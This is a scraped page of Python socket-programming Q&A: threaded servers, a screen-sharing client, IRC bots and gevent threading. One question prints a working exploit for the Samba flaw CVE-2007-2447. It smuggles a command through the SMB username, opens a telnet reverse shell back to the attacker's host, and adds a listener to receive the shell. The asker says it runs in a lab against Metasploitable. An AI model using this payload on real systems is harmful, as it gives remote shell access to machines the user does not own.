Threaded SocketServer not receiving second message - python

I am trying to implement a simple threaded SocketServer (using SocketServer.ThreadedMixIn). However, my server stops receiving further messages. Here is the code:
#!/usr/bin/python -u
import SocketServer
import sys
class MYAgentHandler(SocketServer.BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
print "Received request " + str(data) + "\n"
reply = str(agent.processAgentMessage(data))
self.request.send(reply)
self.request.close()
except Exception, instr:
print "While processing data " + data + " error encountered " + str(instr) + "\n"
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
daemon_threads = True
allow_reuse_address = True
def __init__(self, server_address, RequestHandlerClass):
SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass)
class MYAgent:
def processAgentMessage(self, msg):
try:
tokens = msg.split('^')
if tokens[0] == "CreateSession":
return("New session")
elif tokens[0] == "GetStatus":
return("Init")
except Exception, instr:
print "Error while processing message " + str(instr) + "\n"
agent = MYAgent()
def main():
MYServer = sys.argv[1]
MYAgentPort = sys.argv[2]
agent.listener = ThreadedTCPServer((MYServer, int(MYAgentPort)), MYAgentHandler)
agent.listener.serve_forever()
if __name__ == '__main__':
main()
And here is my client:
#!/usr/bin/python -u
import socket
import time
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 15222))
try:
sock.send("CreateSession")
sessionID = str(sock.recv(1024))
print "Received: " + sessionID
sock.send("GetStatus^"+sessionID)
print "Sent Getstatus\n"
time.sleep(1)
response = str(sock.recv(1024))
print "status of " + str(sessionID) + " is " + str(response) + "\n"
sock.close()
except Exception, instr:
print "Error occurred " + str(instr) + "\n"
Here is one session. Server output:
$ ./t.py localhost 15222
Received request CreateSession
Client output:
$ ./client.py
Received: New session
Sent Getstatus
status of New session is
$
Any ideas why this is happening?

You have to remove self.request.close() (which closes the connection) and wrap everything with while True: (so it will continue to read from the same socket).

Related

Sockets Programming with Video Streaming with python

I have to make a project where i accept multiple client connections and I have to send screenshots of the screen of the client to the server and show it on the screen and if I have to be able to stream clients screen to the server. How do I go about this? I've been trying to make this for about 2 months now. I am stuck and don't know how to make it.
Any reply is greatly appreciated.
This is the server code I have so far.
import threading
import socket
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1,2]
queue = Queue()
class MultiServer(object):
#Initialize Server Object with host, port, socket, all connections and all the IP addresses
def __init__(self):
self.host = ""
self.port = 8965
self.socket = None
self.all_connections = []
self.all_addresses = []
self.all_users = []
#Create Socket
def socket_create(self):
#If socket creation fails except the error and show to the User and exit the program
try:
self.socket = socket.socket()
except socket.error as msg:
print("Socket creation failed, error: " +str(msg))
sys.exit(1)
#Use socket.setsockopt to keep reusing the same port
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return
def socket_bind(self):
#Bind socket to port and wait for incoming connections
try:
self.socket.bind((self.host, self.port))
self.socket.listen(5)
#Is binding the socket fails show error to the user and try again in 5 seconds
except socket.error as msg:
print("Socket binding error: " + str(msg))
time.sleep(5)
self.socket_bind()
return
def accept_connections(self):
#Accept Connections from multiple clients and save to list
#Close all old connections to prevent errors
for c in self.all_connections:
c.close()
self.all_connections = []
self.all_addresses = []
while True:
try:
conn, address = self.socket.accept()
conn.setblocking(1)
client_hostname = conn.recv(1024).decode("utf-8")
address= address + (client_hostname,)
except Exception as ex:
print('Error accepting connections: %s' %str(ex))
# Inifinite Loop
continue
self.all_connections.append(conn)
self.all_addresses.append(address)
print('\nConnection has been estalished: {0} ({1})'.format(address[-1], address[0]))
return
def send_commands(self):
while True:
cmd = input("$:")
if cmd == "list":
self.list_connections()
def list_connections(self):
""" List all connections """
results = ''
for i, conn in enumerate(self.all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del self.all_connections[i]
del self.all_addresses[i]
continue
results += str(i) + ' ' + str(self.all_addresses[i][0]) + ' ' + str(
self.all_addresses[i][1]) + ' ' + str(self.all_addresses[i][2]) + '\n'
print('----- Clients -----' + '\n' + results)
return
def create_workers():
server = MultiServer()
for i in range(2):
t = threading.Thread(target=work, args=(server,))
t.daemon = True
t.start()
def work(server):
while True:
x = queue.get()
if x == 1:
server.socket_create()
server.socket_bind()
server.accept_connections()
if x == 2:
server.send_commands()
queue.task_done()
return
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join()
def main():
create_workers()
create_jobs()
if __name__ == '__main__':
main()
And this is the Client code I have so far
import socket
class Client(object):
def __init__(self):
self.serverHost = '127.0.0.1'
self.serverPort = 8965
self.socket = None
def socket_create(self):
""" Create a socket """
try:
self.socket = socket.socket()
except socket.error as e:
print("Socket creation error" + str(e))
return
return
def socket_connect(self):
""" Connect to a remote socket """
try:
self.socket.connect((self.serverHost, self.serverPort))
except socket.error as e:
print("Socket connection error: " + str(e))
time.sleep(5)
raise
try:
self.socket.send(str.encode(socket.gethostname()))
except socket.error as e:
print("Cannot send hostname to server: " + str(e))
raise
return
def recieve_requests(self):
""" Controle of de server nog actief is """
try:
self.socket.recv(10)
except Exception as ex:
print("Couldn't recieve Commands: " + str(ex))
return
while True:
data = self.socket.recv(20480).decode("utf-8")
print(data)
print("mislukt")
client = Client()
client.socket_create()
def main():
client = Client()
client.socket_create()
try:
client.socket_connect()
except Exception as ex:
print(f"Socket connection error: {ex}")
while True:
try:
client.recieve_requests()
except Exception as ex:
print(ex)

Python - Socket Appears to be Failing to Accept Connection

Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.

Multiprocessing and sockets, simplified

I am trying to make my IRC bot handle multiple messages at a time, but it's not sending back messages.
Behavior: Process(target=func) is called, func() calls a function that has socket.socket().send(message) in it, but the message doesn't send. Suspect is that the socket isn't passed to the sending function.
Code:
import socket
import re
import requests
import urllib
import config # just my file of variables
import math
import time
import sys
import winsound
import string
import random
import multiprocessing
# import traceback
# CONNECTION COMMANDS
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = config.server # Server
password = config.password # Password
botnick = config.botnick # Your bots nick
adminname = config.adminname # Your IRC nickname
exitcode = config.exitcode
ircsock.settimeout(300)
def connection(host, port, password, nick, realname):
ircsock.connect((host, port))
ircsock.send(bytes("PASS " + password + "\n", "UTF-8"))
ircsock.send(bytes("USER " + botnick + " " + botnick + " " + botnick + " " + botnick + "\n", "UTF-8"))
ircsock.send(bytes("NICK " + botnick + "\n", "UTF-8"))
def ping(): # respond to server Pings.
ircsock.send(bytes("PONG :pingis\n", "UTF-8"))
print("Ponged after " + str(time.time() - last_ping) + " seconds from last ping!")
def sendmsg(msg, target): # sends messages to the target.
# it enters here, no problem
ircsock.send(bytes("PRIVMSG " + target + " :" + msg + "\n", "UTF-8")) ### At this point, when using multiprocessing, the bot fails ###
print("Sending: [" + str(msg) + "] to: " + str(target))
# MAIN
if __name__ == '__main__':
connection(server, 6667, password, botnick, botnick)
# joinchan(channel)
while 1:
# print("Connected!")
ircmsg = ircsock.recv(1024).decode("UTF-8")
ircmsg = ircmsg.strip('\n\r')
if ircmsg.find("PRIVMSG") != -1:
try:
# “:[Nick]!~[hostname]#[IP Address] PRIVMSG [channel] :[message]”
name = ircmsg.split('PRIVMSG', 1)[0].split(':')[-1].split("!")[0] # ircmsg.split('!', 1)[0][1:]
message = ircmsg.split('PRIVMSG', 1)[1].split(':', 1)[1].splitlines()[0] # .strip()[0]
me = ircmsg.split('PRIVMSG', 1)[1].split(':', 1)[0].split()[0]
# print(me)
print("name: " + name + ", message: " + message)
if len(name) < 17:
if me == botnick:
if message.find("Hi!") != -1:
process1 = multiprocessing.Process(target=sendmsg, args=("Hello!", name))
process1.daemon = True
process1.start()
if name.lower() == adminname.lower() and message.rstrip() == exitcode:
sendmsg("Bot is quitting.", name)
ircsock.send(bytes("QUIT \n", "UTF-8"))
sys.exit()
time.sleep(1)
except:
pass
elif ircmsg.find("PING") != -1:
ping()
Please word your answers as simply as possible, since I am not that experienced in Python. The code above can be run with a correct config.py file.
Format:
password = "" # password to open the server
exitcode = "" # What is typed to stop the bot
server = "" # Server
botnick = "" # Your bots nick
adminname = "" # Your IRC nickname

Threaded python socket server

I have a Multihtreaded Server with python that can handle clients request, but i have a problem with this.
In my Server Class I have a start function that start listening to clients like this:
class Server:
def __init__(self, clients={}):
self.clients = clients
self.ip = 'localhost'
self.port = ****
self.pattern = '(C\d)'
def start(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s.bind((self.ip, self.port))
self.s.listen(10)
while 1:
clientsock, addr = self.s.accept()
print ('Connected with ' + addr[0] + ':' + str(addr[1]))
_thread.start_new_thread(self.handler, (clientsock, addr))
def handler(self, clientsock, addr):
data = clientsock.recv(BUFF)
print ('Data : ' + repr(data))
data = data.decode("UTF-8")
result = re.match(self.pattern, data)
print (data)
if(result):
self.registerClient(clientsock, data)
if(data == "Exit"):
self.exitClient(clientsock)
def server_response(self, message, flag, err):
if(flag):
res = message.encode('utf-8')
return res
else:
res = message.encode('utf-8')+ "[ ".encode('utf-8')+err.encode('utf-8')+ " ]".encode('utf-8')
return res
def registerClient(self, clientsock, data):
if(data in self.clients):
err = "Error : Client Name Exist!"
clientsock.send(self.server_response('Reg#NOK#', 0, err))
clientsock.close()
sys.exit(1)
self.clients[clientsock] = data
clientsock.send(self.server_response('Reg#OK', 1, ''))
def exitClient(self, clientsock):
try:
f = self.clients.pop(clientsock)
clientsock.send(self.server_response('BYE#OK', 1, ''))
clientsock.close()
except KeyError:
err = "Error : Client Doesn't Connected To Server!"
clientsock.send(self.server_response('BYE#NOK#', 0, err))
clientsock.close()
sys.exit(1)
And this is my client Class:
class Client:
def __init__(self, name):
self.name = name
self.ip = '127.0.0.1'
self.next_client = None
self.s = ""
try:
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
print ('Reg#NOK#[ ' + msg[1] + ' ]')
sys.exit()
def register(self, server):
self.s.connect((server.ip, server.port))
message = self.name
try:
self.s.sendall(bytes(message, 'UTF-8'))
except (socket.error):
print ('Send Failed')
sys.exit()
reply = self.s.recv(4096)
print ("Respose From Server : " + reply.decode("utf-8") )
def exitFromServer(self, server):
message = "Exit".encode('utf-8')
try:
a = self.s.sendall(message)
except (socket.error):
print ('Send Failed')
sys.exit()
reply = self.s.recv(4096)
And this is the main file:
from server import *
from client import *
import _thread
a = Server()
_thread.start_new_thread(a.start, ())
b = Client("C1")
b.register(a)
b.exitFromServer(a)
As you can see when start function from Server class called there is no thread that can handle create Client , I mean when I use start function like this with out thread there is no way that program can go ahead in main file , I know I should use another thread here but where and how, I use Python 3.4, Thanks for helping me.
Edit
the Problem with start was Solved , Thanks from tdelaney,
but when I run this only the register function works and exitFromServer dont do anything can you tell me where is the problem.the program dosent do anything after execute register function and it seems that its wating for something.
This mean?
import threading
from server import *
from client import *
global a
a = Server()
def sServer():
global a
a.start()
def cClient():
global a
b = Client("C1")
b.register(a)
s = threading.Thread(name='server', target=sServer)
c = threading.Thread(name='client', target=cClient)
s.start()
c.start()
In Server Class I must add another while True loop after handler function cause it shuould do all client request till client has request:
def handler(self, clientsock, addr):
while 1:
data = clientsock.recv(BUFF)
print ('Data : ' + repr(data))
data = data.decode("UTF-8")
result = re.match(self.pattern, data)
if(result):
self.registerClient(clientsock, data)
if(data == "Exit"):
self.exitClient(clientsock)
break

how to use threading with a 'neverending' process

I'm attempting to add an irc client to a django web application I'm working on. I'd like the server side code for the irc communication to use python and connect through the sockets library. I'll then use gevent-socketio to send and receive data from the irc channel to the client side in the browser. So far I have a very basic gevent-socketio server and client that can be used for realtime broadcasting amongst multiple clients, however, when I start to connect clients to IRC they connect to the IRC server successfully using a nick passed from the client, but then it appears that this is ongoing keepalive/listening process is blocking be from sending any messages from the client.
Python IRC code
import socket
class pycli:
def __init__(self,user):
self.nick = user
self.chan = "#testchannel"
self.owner = "Bluebot"
self.sock = socket.socket()
print "irc conn"
def send_msg(self,message):
self.sock.send("PRIVMSG " + self.chan + " : " + message + "\r\n")
## misc setup
def keep_alive(self):
self.sock.connect(("irc.freenode.net",6667))
self.sock.send("USER " + self.nick + " 0 * :" + self.owner + "\r\n")
self.sock.send("NICK " + self.nick + "\r\n")
while 1:
## keep checking for data
data = self.sock.recv(512)
datalen = len(data.split(" "))
sender = ""
msg_type = ""
msg_rcpt = ""
message = ""
###----------------------------------------------
## reply to keep alive pings
if data[0:4] == "PING":
self.sock.send(data.replace("PING", "PONG"))
if data[0]!=':':
continue
if data.split(" ")[1] == "001":
self.sock.send("MODE " + self.nick + " +B\r\n")
self.sock.send("JOIN " + self.chan + "\r\n")
###-----------------------------------------------
##split and assign data parts
## parse out the actual sender
send_data = data.split(" ")[0]
send_data = send_data[1:]
sender = send_data.split('!')[0]
## mode
msg_type = data.split(" ")[1]
## if it exists get the recipient (room or private)
if datalen > 2:
msg_rcpt = data.split(" ")[2]
## get the actual message body
if datalen > 3:
message = (" ".join(data.split(" ")[3:])).lower()[1:]
print data
I know this functionality is super basic, but I can expand on it once I get it working through the client.
The relevant parts of my server code basically looks like:
def on_login(self, nick):
if self.nick:
self._broadcast('exit', self.nick)
self.nick = nick
self._broadcast('enter', nick)
self.emit('users',
[ ns.nick
for ns in self._registry.values()
if ns.nick is not None ])
t = threading.Thread(target=self.make_start_irc(nick),daemon=True)
t.start()
def on_chat(self, message):
if self.nick:
self._broadcast('chat', dict(u=self.nick, m=message))
self._irc_nicks[self.nick].send_msg("this is a test")
else:
self.emit('chat', dict(u='SYSTEM', m='You must first login'))
def make_start_irc(self,nick):
if nick not in self._irc_nicks.values():
self._irc_nicks[nick] = pycli.pycli(nick)
print self._irc_nicks
self._irc_nicks[nick].keep_alive()
def _broadcast(self, event, message):
for s in self._registry.values():
s.emit(event, message)
def chat(environ, start_response):
if environ['PATH_INFO'].startswith('/socket.io'):
return socketio_manage(environ, { '/chat': ChatNamespace })
else:
return serve_file(environ, start_response)
def serve_file(environ, start_response):
path = os.path.normpath(
os.path.join(public, environ['PATH_INFO'].lstrip('/')))
assert path.startswith(public), path
if os.path.exists(path):
start_response('200 OK', [('Content-Type', 'text/html')])
with open(path) as fp:
while True:
chunk = fp.read(4096)
if not chunk: break
yield chunk
else:
start_response('404 NOT FOUND', [])
yield 'File not found'
if __name__ == "__main__":
from gevent import monkey
monkey.patch_all()
sio_server = SocketIOServer(
('', 8080), chat,
policy_server=False)
t2 = threading.Thread(target=sio_server.serve_forever())
t2.start()
When I eventually give up and use ctrl-C, I see the following stacktrace which leads me to believe something about the way I'm threading is blocking.
Traceback (most recent call last):
File "socketio_test.py", line 92, in <module>
t2 = threading.Thread(target=sio_server.serve_forever())
File "/Users/andrewscott/Desktop/wham/pycli/wham/lib/python2.7/site-packages/gevent/baseserver.py", line 284, in serve_forever
self._stop_event.wait()
File "/Users/andrewscott/Desktop/wham/pycli/wham/lib/python2.7/site-packages/gevent/event.py", line 77, in wait
result = self.hub.switch()
File "/Users/andrewscott/Desktop/wham/pycli/wham/lib/python2.7/site-packages/gevent/hub.py", line 338, in switch
return greenlet.switch(self)
KeyboardInterrupt
If anyone has any idea how I can change the irc process to be non-blocking, or any general suggestions they'd be greatly appreciated.
You should remove the call:
t2 = threading.Thread(target=sio_server.serve_forever())
And properly pass the method:
t2 = threading.Thread(target=sio_server.serve_forever)

Categories

Resources